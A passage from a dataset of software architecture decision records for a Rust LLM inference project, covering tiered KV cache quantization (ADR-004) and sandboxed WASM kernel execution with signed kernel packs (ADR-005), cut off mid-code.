qkv.needs_rope {\n rope.apply(&key, qkv.position.unwrap())\n } else {\n key\n }\n }\n}\n```\n\n**Memory Reduction:**\n- 3-bit achieves **~5.3x** compression\n- Enables contexts up to **1M+ tokens** within memory constraints\n\n**Quality Preservation:**\n- Pre-RoPE quantization reduces dynamic range, improving quantization\n- < 0.1 PPL degradation on 128K context benchmarks\n\n#### 5. Two-Tier Cache Design\n\n```rust\n/// Two-tier KV cache with high-precision tail buffer\npub struct TwoTierKVCache {\n /// Configuration\n config: TwoTierConfig,\n\n /// High-precision tail buffer (FP16, last N tokens)\n tail_buffer: TailBuffer,\n\n /// Quantized store for older tokens\n quantized_store: QuantizedStore,\n\n /// Tier transition policy\n policy: TierPolicy,\n\n /// Quality metrics for adaptive thresholds\n quality_tracker: QualityTracker,\n}\n\npub struct TwoTierConfig {\n /// Number of tokens to keep in high-precision tail\n pub tail_length: usize, // e.g., 64\n /// Warm zone length (4-bit KIVI)\n pub warm_length: usize, // e.g., 448 (512 - 64)\n /// Deep archive quantizer selection\n pub archive_quantizer: ArchiveQuantizer,\n /// Maximum sequence length\n pub max_seq_len: usize,\n /// Number of layers\n pub num_layers: usize,\n /// Number of attention heads\n pub num_heads: usize,\n /// Dimension per head\n pub head_dim: usize,\n}\n\n#[derive(Clone, Copy, Debug)]\npub enum ArchiveQuantizer {\n /// Standard 2-bit KIVI\n Kivi2Bit,\n /// SQuat for extreme contexts\n SQuat { num_subspaces: usize },\n /// KVQuant for quality-critical\n KVQuant { bits: u8 },\n /// Adaptive: choose based on context length and quality metrics\n Adaptive,\n}\n\nimpl TwoTierKVCache {\n /// Append new KV pair to cache\n pub fn append(&mut self, layer: usize, key: &Tensor, value: &Tensor) {\n // 1. Add to tail buffer (always FP16)\n self.tail_buffer.push(layer, key, value);\n\n // 2. Check if tail buffer needs flushing\n if self.tail_buffer.len(layer) > self.config.tail_length {\n // Oldest token graduates from tail to warm zone\n let (old_key, old_value) = self.tail_buffer.pop_oldest(layer);\n\n // Quantize and add to quantized store\n self.quantized_store.push_warm(layer, &old_key, &old_value);\n }\n\n // 3. Check if warm zone needs graduation to archive\n if self.quantized_store.warm_len(layer) > self.config.warm_length {\n self.quantized_store.graduate_to_archive(layer, &self.config.archive_quantizer);\n }\n }\n\n /// Compute attention with tiered cache\n pub fn attention(\n &self,\n layer: usize,\n query: &Tensor,\n causal_mask: Option<&Tensor>,\n ) -> Tensor {\n // 1. Attention with tail buffer (no dequantization needed)\n let tail_keys = self.tail_buffer.keys(layer);\n let tail_values = self.tail_buffer.values(layer);\n\n // 2. Dequantize warm zone (4-bit)\n let warm_keys = self.quantized_store.dequantize_warm_keys(layer);\n let warm_values = self.quantized_store.dequantize_warm_values(layer);\n\n // 3. Dequantize archive (2-bit or lower)\n let archive_keys = self.quantized_store.dequantize_archive_keys(layer);\n let archive_values = self.quantized_store.dequantize_archive_values(layer);\n\n // 4. Concatenate all keys and values\n let all_keys = Tensor::cat(&[archive_keys, warm_keys, tail_keys], dim=2);\n let all_values = Tensor::cat(&[archive_values, warm_values, tail_values], dim=2);\n\n // 5. Standard attention computation\n let scores = query.matmul(&all_keys.transpose(-2, -1)) / (self.config.head_dim as f32).sqrt();\n\n if let Some(mask) = causal_mask {\n scores = scores + mask;\n }\n\n let attn_weights = softmax(scores, dim=-1);\n let output = attn_weights.matmul(&all_values);\n\n // 6. Discard dequantized scratch (only tail_buffer persists in FP16)\n // warm_keys, warm_values, archive_keys, archive_values are dropped here\n\n output\n }\n}\n```\n\n#### 6. Rematerialization Policy\n\n```rust\n/// Policy for trading compute for memory when cache pressure is extreme\npub struct RematerializationPolicy {\n /// Memory pressure threshold to trigger rematerialization\n memory_threshold: f32, // e.g., 0.9 (90% of available memory)\n /// Minimum tokens to keep materialized\n min_materialized: usize, // e.g., 512\n /// Rematerialization cost model\n cost_model: RematerializationCostModel,\n /// Current memory usage tracker\n memory_tracker: MemoryTracker,\n}\n\n#[derive(Clone, Debug)]\npub struct RematerializationCostModel {\n /// Cost to recompute one layer's KV for one token (in FLOPs)\n pub flops_per_token_per_layer: usize,\n /// Memory saved by evicting one token's KV (in bytes)\n pub bytes_per_token: usize,\n /// Current available compute budget\n pub compute_budget: usize,\n}\n\nimpl RematerializationPolicy {\n /// Decide whether to evict or keep KV cache entries\n pub fn should_evict(&self, token_position: usize, layer: usize) -> EvictionDecision {\n let memory_pressure = self.memory_tracker.current_usage() / self.memory_tracker.total_available();\n\n if memory_pressure < self.memory_threshold {\n return EvictionDecision::Keep;\n }\n\n // Calculate cost-benefit\n let recompute_cost = self.cost_model.flops_per_token_per_layer * layer;\n let memory_benefit = self.cost_model.bytes_per_token;\n\n // Older tokens are better eviction candidates (less likely to be attended)\n let age_factor = 1.0 / (1.0 + (token_position as f32 / 100.0));\n let adjusted_cost = recompute_cost as f32 * age_factor;\n\n if adjusted_cost < self.cost_model.compute_budget as f32 {\n EvictionDecision::Evict {\n recompute_on_access: true,\n }\n } else {\n EvictionDecision::Quantize {\n target_bits: 2, // Aggressive 2-bit instead of eviction\n }\n }\n }\n\n /// Recompute KV for an evicted position\n pub fn rematerialize(\n &self,\n model: &TransformerModel,\n input_tokens: &[u32],\n positions: &[usize],\n ) -> (Tensor, Tensor) {\n // Re-run forward pass for just the needed positions\n // This is expensive but allows serving extremely long contexts\n model.compute_kv_for_positions(input_tokens, positions)\n }\n}\n\n#[derive(Clone, Debug)]\npub enum EvictionDecision {\n /// Keep in cache (current quantization level)\n Keep,\n /// Evict and recompute on access\n Evict { recompute_on_access: bool },\n /// Further quantize instead of evicting\n Quantize { target_bits: u8 },\n}\n```\n\n### Integration with RuVector\n\n```rust\n/// Integration with RuVector memory system\npub struct KVCacheRuVectorIntegration {\n /// RuVector memory store for persistent cache patterns\n memory: Arc,\n /// Learned quantization thresholds\n thresholds: LearnedThresholds,\n /// Quality metric history\n quality_history: VecDeque,\n}\n\nimpl KVCacheRuVectorIntegration {\n /// Store learned quantization threshold for future inference\n pub async fn store_threshold(&self, config: &ThresholdConfig) -> Result<()> {\n let key = format!(\"kv_threshold:{}:{}\", config.model_id, config.layer);\n let value = ThresholdValue {\n hot_boundary: config.hot_boundary,\n warm_boundary: config.warm_boundary,\n archive_quantizer: config.archive_quantizer,\n quality_score: config.observed_quality,\n };\n\n self.memory.store(&key, &value).await\n }\n\n /// Retrieve optimal thresholds based on similar past workloads\n pub async fn retrieve_optimal_thresholds(\n &self,\n model_id: &str,\n context_length: usize,\n ) -> Result {\n // Search for similar configurations\n let query = format!(\"kv_threshold:{}:*\", model_id);\n let candidates = self.memory.search(&query, k=10).await?;\n\n // Select best match based on context length similarity\n let best = candidates.iter()\n .min_by_key(|c| (c.context_length as i64 - context_length as i64).abs())\n .ok_or(Error::NoThresholdFound)?;\n\n Ok(best.config.clone())\n }\n\n /// Track quality metrics per quantization strategy\n pub fn track_quality(&mut self, metric: QualityMetric) {\n self.quality_history.push_back(metric);\n\n // Keep rolling window\n while self.quality_history.len() > 1000 {\n self.quality_history.pop_front();\n }\n\n // Trigger threshold adaptation if quality degrades\n if self.should_adapt_thresholds() {\n self.adapt_thresholds();\n }\n }\n\n /// Adapt thresholds based on quality feedback\n fn adapt_thresholds(&mut self) {\n let recent_quality: f32 = self.quality_history.iter()\n .rev()\n .take(100)\n .map(|m| m.score)\n .sum::() / 100.0;\n\n if recent_quality < self.thresholds.quality_target {\n // Quality degraded: increase hot buffer size or reduce quantization\n self.thresholds.hot_boundary = (self.thresholds.hot_boundary * 1.2) as usize;\n self.thresholds.archive_bits = (self.thresholds.archive_bits + 1).min(4);\n } else if recent_quality > self.thresholds.quality_target * 1.1 {\n // Quality is good: can be more aggressive\n self.thresholds.hot_boundary = (self.thresholds.hot_boundary * 0.9).max(32.0) as usize;\n self.thresholds.archive_bits = (self.thresholds.archive_bits - 1).max(2);\n }\n }\n}\n```\n\n---\n\n## Rationale\n\n### Why Asymmetric Key/Value Quantization?\n\n| Observation | Implication |\n|-------------|-------------|\n| Keys have large outliers per channel | Per-channel quantization minimizes outlier impact |\n| Values have consistent per-token magnitude | Per-token quantization preserves magnitude distribution |\n| Attention scores dominated by key patterns | Keys need slightly higher precision than values |\n\n### Why Pre-RoPE Key Quantization (KVQuant)?\n\n1. **Reduced Dynamic Range**: Keys before RoPE have smaller magnitude variance\n2. **Better Quantization**: Smaller range = more precision per bit\n3. **Deferred RoPE**: Can apply RoPE during attention (once per query, amortized)\n\n### Why Two-Tier Architecture?\n\n| Property | Single-Tier | Two-Tier |\n|----------|-------------|----------|\n| Recent token precision | Degraded | Full FP16 |\n| Dequantization overhead | Every attention | Only for old tokens |\n| Quality at high attention | Good | Excellent |\n| Memory efficiency | Good | Very good |\n\n### Why Not Just Use Lower Precision Everywhere?\n\nRecent tokens receive highest attention weights. Quantization error in recent tokens has disproportionate impact on output quality. The two-tier design provides:\n\n- **Quality preservation**: Recent tokens at full precision where it matters most\n- **Memory efficiency**: Aggressive compression where attention weights are naturally low\n- **Adaptive boundaries**: Learned thresholds optimize the precision/memory trade-off\n\n---\n\n## Alternatives Considered\n\n### Alternative 1: Uniform Quantization (Baseline RotateKV)\n\nApply same quantization to all KV cache entries.\n\n**Rejected because:**\n- Wastes precision on stale tokens (low attention weight)\n- Degrades quality on recent tokens (high attention weight)\n- Cannot adapt to varying context lengths\n\n### Alternative 2: Attention-Based Eviction (H2O, StreamingLLM)\n\nEvict low-attention tokens entirely.\n\n**Rejected because:**\n- Information loss is permanent (cannot recompute without full context)\n- Quality degrades significantly for tasks requiring long-range dependencies\n- Not suitable for retrieval-augmented or document understanding tasks\n\n### Alternative 3: Learned Sparse Attention (Longformer, BigBird)\n\nModify attention mechanism to attend only to subset of tokens.\n\n**Rejected because:**\n- Requires model retraining\n- Fixed sparsity patterns may miss important tokens\n- Not applicable to pre-trained models\n\n### Alternative 4: Pure Rematerialization\n\nEvict all old KV and recompute on-demand.\n\n**Rejected because:**\n- Recomputation cost scales with context length\n- Latency spikes during rematerialization\n- Not practical for real-time inference\n\n---\n\n## Consequences\n\n### Benefits\n\n1. **Memory Efficiency**: ~8-22x compression vs FP16 for stale segments\n2. **Quality Preservation**: < 0.3 PPL degradation with proper tier boundaries\n3. **Adaptive Optimization**: Learned thresholds improve over time\n4. **Long Context Support**: Enables 100K+ token contexts on consumer hardware\n5. **Integration Ready**: Plugs into existing RuVector memory system\n\n### Risks and Mitigations\n\n| Risk | Probability | Impact | Mitigation |\n|------|-------------|--------|------------|\n| Quality degradation with aggressive quantization | Medium | High | Adaptive thresholds, quality monitoring, fallback to higher precision |\n| Dequantization latency overhead | Medium | Medium | Batch dequantization, SIMD acceleration, GPU kernels |\n| Memory fragmentation from multi-tier | Low | Medium | Arena allocation, contiguous buffer design |\n| Calibration data requirements (SQuat, KVQuant) | Medium | Low | Online calibration, transfer from similar models |\n\n### Performance Targets\n\n| Metric | Target | Rationale |\n|--------|--------|-----------|\n| Compression ratio (archive tier) | 8-22x | Balance memory/quality |\n| PPL degradation | < 0.3 | Minimal quality loss |\n| Dequantization latency | < 1ms per 1K tokens | Acceptable overhead |\n| Adaptive threshold convergence | < 100 samples | Fast learning |\n| Memory reduction (540B, batch 512, 2K context) | 3TB -> 150-400GB | Practical deployment |\n\n---\n\n## Implementation Status\n\n### Phase 1: Two-Tier KIVI (v0.1) - PLANNED\n\n- [ ] Implement KIVI 2-bit/4-bit quantizers\n- [ ] Implement TwoTierKVCache with tail buffer\n- [ ] Benchmark quality vs compression trade-offs\n- [ ] Integration tests with existing mincut-gated-transformer\n\n### Phase 2: SQuat Integration (v0.2) - PLANNED\n\n- [ ] Implement SQuat orthogonal subspace quantization\n- [ ] Calibration data collection and basis learning\n- [ ] Adaptive quantizer selection based on context length\n\n### Phase 3: KVQuant + Rematerialization (v0.3) - PLANNED\n\n- [ ] Implement pre-RoPE key quantization\n- [ ] Implement rematerialization policy\n- [ ] RuVector integration for threshold persistence\n\n### Phase 4: Production Optimization (v1.0) - PLANNED\n\n- [ ] SIMD-accelerated dequantization kernels\n- [ ] GPU kernel implementations (CUDA, Metal)\n- [ ] Continuous quality monitoring and adaptation\n\n---\n\n## Implementation Phases\n\n### Phase 1: Foundation (Week 1-2)\n\n**Goal:** Basic two-tier cache with KIVI quantization\n\n**Deliverables:**\n- KIVI quantizer implementation (2-bit, 4-bit)\n- Two-tier cache structure\n- Unit tests for quantize/dequantize round-trip\n- Integration with existing `QuantizedKVCache`\n\n### Phase 2: Quality Optimization (Week 3-4)\n\n**Goal:** SQuat for extreme contexts, quality monitoring\n\n**Deliverables:**\n- SQuat implementation with learned bases\n- Quality tracking infrastructure\n- Adaptive tier boundary tuning\n- Benchmark suite: PPL, task accuracy, memory usage\n\n### Phase 3: Advanced Features (Week 5-6)\n\n**Goal:** KVQuant, rematerialization, RuVector integration\n\n**Deliverables:**\n- Pre-RoPE key quantization\n- Rematerialization policy\n- Persistent threshold storage via RuVector\n- End-to-end integration tests\n\n### Phase 4: Production (Week 7-8)\n\n**Goal:** Performance optimization, deployment readiness\n\n**Deliverables:**\n- SIMD/GPU kernels for dequantization\n- Memory profiling and optimization\n- Documentation and examples\n- Performance benchmarks (latency, throughput)\n\n---\n\n## Integration Points\n\n### RuVector Components Used\n\n| Component | Purpose |\n|-----------|---------|\n| `RuvectorMemory` | Store learned thresholds and quality metrics |\n| `VectorDB` | Semantic search for similar configuration patterns |\n| `MetadataIndex` | Track model/layer-specific threshold history |\n| `QuantizedKVCache` (existing) | Foundation for new tiered design |\n| `HadamardTransform` (existing) | Outlier smoothing in quantization |\n\n### External Interfaces\n\n| Interface | Protocol | Purpose |\n|-----------|----------|---------|\n| Configuration | TOML/JSON | Tier boundaries, quantizer selection |\n| Quality Metrics | gRPC/REST | Real-time quality monitoring |\n| Threshold Adaptation | Internal | Continuous optimization |\n| Memory Monitoring | Prometheus | Cache memory usage tracking |\n\n---\n\n## Open Questions\n\n1. **Optimal tail buffer size**: What is the minimum FP16 tail for acceptable quality across tasks?\n2. **Cross-layer coordination**: Should different layers have different tier boundaries?\n3. **Batch-aware caching**: How to handle variable batch sizes efficiently?\n4. **Calibration bootstrapping**: How to initialize thresholds for new models?\n5. **Mixed-precision attention**: Can we compute attention in lower precision (BF16/FP8)?\n\n---\n\n## References\n\n1. Liu, Z., et al. \"KIVI: A Tuning-Free Asymmetric 2bit Quantization for KV Cache.\" arXiv:2402.02750, 2024.\n2. Hooper, C., et al. \"KVQuant: Towards 10 Million Context Length LLM Inference with KV Cache Quantization.\" arXiv:2401.18079, 2024.\n3. Zhang, Y., et al. \"SQuat: Subspace-Orthogonal Quantization for KV Cache.\" arXiv preprint, 2024.\n4. RuVector Team. \"Mincut-Gated Transformer Memory Optimization Analysis.\" Internal doc, 2025.\n5. Xiao, G., et al. \"Efficient Streaming Language Models with Attention Sinks.\" ICLR 2024.\n\n---\n\n## Appendix A: Memory Calculation Examples\n\n### Example 1: 70B Model, 32K Context, Batch 8\n\n**FP16 Baseline:**\n```\nLayers: 80\nHeads: 64\nHead_dim: 128\nSeq_len: 32,768\nBatch: 8\n\nKV_size = 2 * 80 * 64 * 128 * 32768 * 8 * 2 bytes\n = 2 * 80 * 64 * 128 * 32768 * 8 * 2\n = 687 GB\n```\n\n**With Three-Tier Quantization:**\n```\nTail (FP16, last 64 tokens):\n = 2 * 80 * 64 * 128 * 64 * 8 * 2 bytes = 1.34 GB\n\nWarm (4-bit, next 448 tokens):\n = 2 * 80 * 64 * 128 * 448 * 8 * 0.5 bytes = 4.69 GB\n\nArchive (2-bit, remaining 32,256 tokens):\n = 2 * 80 * 64 * 128 * 32256 * 8 * 0.25 bytes = 168 GB\n\nTotal: ~174 GB (3.95x reduction)\n```\n\n**With SQuat on Archive (2.5x additional):**\n```\nArchive (SQuat, 32,256 tokens):\n = 168 GB / 2.5 = 67 GB\n\nTotal: ~73 GB (9.4x reduction)\n```\n\n---\n\n## Appendix B: Quality-Memory Trade-off Curves\n\n```\nPPL Degradation vs Compression (LLaMA-7B, 4K context)\n======================================================\n\nCompression | PPL Delta | Strategy\n------------|-------------|------------------\n 1x | 0.00 | FP16 (baseline)\n 2x | 0.02 | 8-bit uniform\n 4x | 0.05 | 4-bit KIVI\n 8x | 0.12 | 2-bit KIVI (warm+archive)\n 12x | 0.18 | 2-bit KIVI + 64 FP16 tail\n 16x | 0.25 | 2-bit KIVI + SQuat\n 22x | 0.30 | Full three-tier optimized\n\nNote: Results vary by model and task. Calibration recommended.\n```\n\n---\n\n## Appendix C: API Surface\n\n```rust\n// Primary user-facing API\npub struct AdaptiveKVCache {\n pub fn new(config: AdaptiveKVCacheConfig) -> Self;\n pub fn append(&mut self, layer: usize, key: &Tensor, value: &Tensor);\n pub fn attention(&self, layer: usize, query: &Tensor) -> Tensor;\n pub fn memory_usage(&self) -> MemoryStats;\n pub fn quality_metrics(&self) -> QualityMetrics;\n pub fn adapt_thresholds(&mut self, feedback: QualityFeedback);\n pub fn flush(&mut self);\n pub fn save_thresholds(&self, path: &Path) -> Result<()>;\n pub fn load_thresholds(&mut self, path: &Path) -> Result<()>;\n}\n\npub struct AdaptiveKVCacheConfig {\n pub num_layers: usize,\n pub num_heads: usize,\n pub head_dim: usize,\n pub max_seq_len: usize,\n pub tail_length: usize, // FP16 tail size\n pub warm_length: usize, // 4-bit KIVI zone\n pub archive_quantizer: ArchiveQuantizer,\n pub quality_target: f32, // Target PPL delta\n pub enable_rematerialization: bool,\n}\n```\n\n---\n\n## Related Decisions\n\n- **ADR-001**: Ruvector Core Architecture\n- **ADR-002**: RuvLLM Integration\n- **ADR-006**: Memory Management\n- **ADR-007**: Security Review & Technical Debt\n\n---\n\n## Security Status (v2.1)\n\n| Component | Status | Notes |\n|-----------|--------|-------|\n| TwoTierKVCache | \u2705 Secure | Safety documentation added to unsafe blocks |\n| AlignedBuffer | \u2705 Secure | `set_len_unchecked` with proper invariants |\n| NEON Dequantization | \u2705 Secure | Bounds checking before writes |\n\n**Fixes Applied:**\n- Added comprehensive safety documentation for `slice::from_raw_parts`\n- Created proper `set_len_unchecked` method instead of raw pointer writes\n- Added debug assertions for capacity checks\n\nSee ADR-007 for full security audit trail.\n\n---\n\n## Revision History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 1.0 | 2026-01-18 | RuVector Architecture Team | Initial version |\n| 1.1 | 2026-01-19 | Security Review Agent | Added security status, related decisions |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-004-kv-cache-management.md", "created_at": "2026-03-28T11:58:48.803503+00:00", "content_hash": "981d12e03ed463fe5ccfeeb9bb5d5bcedd9d30a99d65fcb98dde5f9544159bbc"} +{"id": "dcb7efcb-5097-4740-9780-223c2938955f", "source": "adr", "text": "# ADR-005: WASM Runtime Integration\n\n| Field | Value |\n|-------|-------|\n| **Status** | Proposed |\n| **Date** | 2026-01-18 |\n| **Authors** | RuvLLM Architecture Team |\n| **Reviewers** | - |\n| **Supersedes** | - |\n| **Superseded by** | - |\n\n**Note**: The WASM runtime approach described here is complemented by ADR-029. The RVF WASM microkernel (rvf-wasm) provides a <8 KB Cognitum tile target that replaces ad-hoc WASM builds for vector operations.\n\n## 1. Context\n\n### 1.1 Problem Statement\n\nRuvLLM requires a mechanism for executing user-provided and community-contributed compute kernels in a secure, sandboxed environment. These kernels implement performance-critical operations such as:\n\n- Rotary Position Embeddings (RoPE)\n- RMS Normalization (RMSNorm)\n- SwiGLU activation functions\n- KV cache quantization/dequantization\n- LoRA delta application\n\nWithout proper isolation, malicious or buggy kernels could:\n- Access unauthorized memory regions\n- Consume unbounded compute resources\n- Compromise the host system\n- Corrupt model state\n\n### 1.2 Requirements\n\n| Requirement | Priority | Rationale |\n|-------------|----------|-----------|\n| Sandboxed execution | Critical | Prevent kernel code from accessing host resources |\n| Execution budgets | Critical | Prevent runaway code and DoS conditions |\n| Low overhead | High | Kernels are in the inference hot path |\n| Cross-platform | High | Support x86, ARM, embedded devices |\n| Framework agnostic | Medium | Enable ML inference without vendor lock-in |\n| Hot-swappable kernels | Medium | Update kernels without service restart |\n\n### 1.3 Constraints\n\n- **Memory**: Embedded targets have as little as 256KB RAM\n- **Latency**: Kernel invocation overhead must be <10us for small tensors\n- **Compatibility**: Must support existing Rust/C kernel implementations\n- **Security**: Kernel supply chain must be verifiable\n\n## 2. Decision\n\nWe will adopt **WebAssembly (WASM)** as the sandboxed execution environment for compute kernels, with the following architecture:\n\n### 2.1 Runtime Selection\n\n| Device Class | Runtime | Rationale |\n|--------------|---------|-----------|\n| Edge servers (x86/ARM64) | **Wasmtime** | Mature, well-optimized, excellent tooling |\n| Embedded/MCU (<1MB RAM) | **WAMR** | <85KB footprint, AOT compilation support |\n| Browser/WASI Preview 2 | **wasmtime/browser** | Future consideration |\n\n### 2.2 Interruption Strategy: Epoch-Based (Not Fuel)\n\nWe choose **epoch-based interruption** over fuel-based metering:\n\n| Aspect | Epoch | Fuel |\n|--------|-------|------|\n| Overhead | ~2-5% | ~15-30% |\n| Granularity | Coarse (polling points) | Fine (per instruction) |\n| Determinism | Non-deterministic | Deterministic |\n| Implementation | Store-level epoch counter | Instruction instrumentation |\n\n**Rationale**: For inference workloads, coarse-grained interruption is acceptable. The 10-25% overhead reduction from avoiding fuel metering is significant for latency-sensitive operations.\n\n```rust\n// Epoch configuration example\nlet mut config = Config::new();\nconfig.epoch_interruption(true);\n\nlet engine = Engine::new(&config)?;\nlet mut store = Store::new(&engine, ());\n\n// Set epoch deadline (e.g., 100ms budget)\nstore.set_epoch_deadline(100);\n\n// Increment epoch from async timer\nengine.increment_epoch();\n```\n\n### 2.3 WASI-NN Integration\n\nWASI-NN provides framework-agnostic ML inference capabilities:\n\n```\n+-------------------+\n| RuvLLM Host |\n+-------------------+\n |\n v\n+-------------------+\n| WASI-NN API |\n+-------------------+\n |\n +----+----+\n | |\n v v\n+-------+ +--------+\n| ONNX | | Custom |\n| RT | | Kernel |\n+-------+ +--------+\n```\n\n**WASI-NN Backends**:\n- ONNX Runtime (portable)\n- Native kernels (performance-critical paths)\n- Custom quantized formats (memory efficiency)\n\n## 3. WASM Boundary Design\n\n### 3.1 ABI Strategy: Raw ABI (Not Component Model)\n\nWe use **raw WASM ABI** rather than the Component Model:\n\n| Aspect | Raw ABI | Component Model |\n|--------|---------|-----------------|\n| Maturity | Stable | Evolving (Preview 2) |\n| Overhead | Minimal | Higher (canonical ABI) |\n| Tooling | Excellent | Improving |\n| Adoption | Universal | Growing |\n\n**Migration Path**: Design interfaces to be Component Model-compatible for future migration.\n\n### 3.2 Memory Layout\n\n```\nHost Linear Memory\n+--------------------------------------------------+\n| Tensor A | Tensor B | Output | Scratch |\n| (read-only) | (read-only) | (write) | (r/w) |\n+--------------------------------------------------+\n ^ ^ ^ ^\n | | | |\n offset_a offset_b offset_out offset_scratch\n```\n\n**Shared Memory Protocol**:\n\n```rust\n/// Kernel invocation descriptor passed to WASM\n#[repr(C)]\npub struct KernelDescriptor {\n /// Input tensor A offset in linear memory\n pub input_a_offset: u32,\n /// Input tensor A size in bytes\n pub input_a_size: u32,\n /// Input tensor B offset (0 if unused)\n pub input_b_offset: u32,\n /// Input tensor B size in bytes\n pub input_b_size: u32,\n /// Output tensor offset\n pub output_offset: u32,\n /// Output tensor size in bytes\n pub output_size: u32,\n /// Scratch space offset\n pub scratch_offset: u32,\n /// Scratch space size in bytes\n pub scratch_size: u32,\n /// Kernel-specific parameters offset\n pub params_offset: u32,\n /// Kernel-specific parameters size\n pub params_size: u32,\n}\n```\n\n### 3.3 Trap Handling\n\nWASM traps are handled as **non-fatal errors**:\n\n```rust\npub enum KernelError {\n /// Execution budget exceeded\n EpochDeadline,\n /// Out of bounds memory access\n MemoryAccessViolation {\n offset: u32,\n size: u32,\n },\n /// Integer overflow/underflow\n IntegerOverflow,\n /// Unreachable code executed\n Unreachable,\n /// Stack overflow\n StackOverflow,\n /// Invalid function call\n IndirectCallTypeMismatch,\n /// Custom trap from kernel\n KernelTrap {\n code: u32,\n message: Option,\n },\n}\n\nimpl From for KernelError {\n fn from(trap: wasmtime::Trap) -> Self {\n match trap.trap_code() {\n Some(TrapCode::Interrupt) => KernelError::EpochDeadline,\n Some(TrapCode::MemoryOutOfBounds) => KernelError::MemoryAccessViolation {\n offset: 0, // Extract from trap info\n size: 0,\n },\n // ... other mappings\n }\n }\n}\n```\n\n**Recovery Strategy**:\n\n1. Log trap with full context\n2. Release kernel resources\n3. Fall back to reference implementation (if available)\n4. Report degraded performance to metrics\n\n## 4. Kernel Pack System\n\n### 4.1 Kernel Pack Structure\n\n```\nkernel-pack-v1.0.0/\n\u251c\u2500\u2500 kernels.json # Manifest\n\u251c\u2500\u2500 kernels.json.sig # Ed25519 signature\n\u251c\u2500\u2500 rope/\n\u2502 \u251c\u2500\u2500 rope_f32.wasm\n\u2502 \u251c\u2500\u2500 rope_f16.wasm\n\u2502 \u2514\u2500\u2500 rope_q8.wasm\n\u251c\u2500\u2500 rmsnorm/\n\u2502 \u251c\u2500\u2500 rmsnorm_f32.wasm\n\u2502 \u2514\u2500\u2500 rmsnorm_f16.wasm\n\u251c\u2500\u2500 swiglu/\n\u2502 \u251c\u2500\u2500 swiglu_f32.wasm\n\u2502 \u2514\u2500\u2500 swiglu_f16.wasm\n\u251c\u2500\u2500 kv/\n\u2502 \u251c\u2500\u2500 kv_pack_q4.wasm\n\u2502 \u251c\u2500\u2500 kv_pack_q8.wasm\n\u2502 \u251c\u2500\u2500 kv_unpack_q4.wasm\n\u2502 \u2514\u2500\u2500 kv_unpack_q8.wasm\n\u2514\u2500\u2500 lora/\n \u251c\u2500\u2500 lora_apply_f32.wasm\n \u2514\u2500\u2500 lora_apply_f16.wasm\n```\n\n### 4.2 Manifest Schema (kernels.json)\n\n```json\n{\n \"$schema\": \"https://ruvllm.dev/schemas/kernel-pack-v1.json\",\n \"version\": \"1.0.0\",\n \"name\": \"ruvllm-core-kernels\",\n \"description\": \"Core compute kernels for RuvLLM inference\",\n \"min_runtime_version\": \"0.5.0\",\n \"max_runtime_version\": \"1.0.0\",\n \"created_at\": \"2026-01-18T00:00:00Z\",\n \"author\": {\n \"name\": \"RuvLLM Team\",\n \"email\": \"kernels@ruvllm.dev\",\n \"signing_key\": \"ed25519:AAAA...\"\n },\n \"kernels\": [\n {\n \"id\": \"rope_f32\",\n \"name\": \"Rotary Position Embedding (FP32)\",\n \"category\": \"positional_encoding\",\n \"path\": \"rope/rope_f32.wasm\",\n \"hash\": \"sha256:abc123...\",\n \"entry_point\": \"rope_forward\",\n \"inputs\": [\n {\n \"name\": \"x\",\n \"dtype\": \"f32\",\n \"shape\": [\"batch\", \"seq\", \"heads\", \"dim\"]\n },\n {\n \"name\": \"freqs\",\n \"dtype\": \"f32\",\n \"shape\": [\"seq\", \"dim_half\"]\n }\n ],\n \"outputs\": [\n {\n \"name\": \"y\",\n \"dtype\": \"f32\",\n \"shape\": [\"batch\", \"seq\", \"heads\", \"dim\"]\n }\n ],\n \"params\": {\n \"theta\": {\n \"type\": \"f32\",\n \"default\": 10000.0\n }\n },\n \"resource_limits\": {\n \"max_memory_pages\": 256,\n \"max_epoch_ticks\": 1000,\n \"max_table_elements\": 1024\n },\n \"platforms\": {\n \"wasmtime\": {\n \"min_version\": \"15.0.0\",\n \"features\": [\"simd\", \"bulk-memory\"]\n },\n \"wamr\": {\n \"min_version\": \"1.3.0\",\n \"aot_available\": true\n }\n },\n \"benchmarks\": {\n \"seq_512_dim_128\": {\n \"latency_us\": 45,\n \"throughput_gflops\": 2.1\n }\n }\n }\n ],\n \"fallbacks\": {\n \"rope_f32\": \"rope_reference\",\n \"rmsnorm_f32\": \"rmsnorm_reference\"\n }\n}\n```\n\n### 4.3 Included Kernel Packs\n\n| Category | Kernels | Notes |\n|----------|---------|-------|\n| **Positional** | RoPE (f32, f16, q8) | Rotary embeddings |\n| **Normalization** | RMSNorm (f32, f16) | Pre-attention normalization |\n| **Activation** | SwiGLU (f32, f16) | Gated activation |\n| **KV Cache** | pack_q4, pack_q8, unpack_q4, unpack_q8 | Quantize/dequantize |\n| **Adapter** | LoRA apply (f32, f16) | Delta weight application |\n\n**Attention Note**: Attention kernels remain **native** initially due to:\n- Complex memory access patterns\n- Heavy reliance on hardware-specific optimizations (Flash Attention, xformers)\n- Significant overhead from WASM boundary crossing for large tensors\n\n## 5. Supply Chain Security\n\n### 5.1 Signature Verification\n\n```rust\nuse ed25519_dalek::{Signature, VerifyingKey, Verifier};\n\npub struct KernelPackVerifier {\n trusted_keys: Vec,\n}\n\nimpl KernelPackVerifier {\n /// Verify kernel pack signature\n pub fn verify(&self, manifest: &[u8], signature: &[u8]) -> Result<(), VerifyError> {\n let sig = Signature::try_from(signature)?;\n\n for key in &self.trusted_keys {\n if key.verify(manifest, &sig).is_ok() {\n return Ok(());\n }\n }\n\n Err(VerifyError::NoTrustedKey)\n }\n\n /// Verify individual kernel hash\n pub fn verify_kernel(&self, kernel_bytes: &[u8], expected_hash: &str) -> Result<(), VerifyError> {\n use sha2::{Sha256, Digest};\n\n let mut hasher = Sha256::new();\n hasher.update(kernel_bytes);\n let hash = format!(\"sha256:{:x}\", hasher.finalize());\n\n if hash == expected_hash {\n Ok(())\n } else {\n Err(VerifyError::HashMismatch {\n expected: expected_hash.to_string(),\n actual: hash,\n })\n }\n }\n}\n```\n\n### 5.2 Version Compatibility Gates\n\n```rust\npub struct CompatibilityChecker {\n runtime_version: Version,\n}\n\nimpl CompatibilityChecker {\n pub fn check(&self, manifest: &KernelManifest) -> CompatibilityResult {\n // Check runtime version bounds\n if self.runtime_version < manifest.min_runtime_version {\n return CompatibilityResult::RuntimeTooOld {\n required: manifest.min_runtime_version.clone(),\n actual: 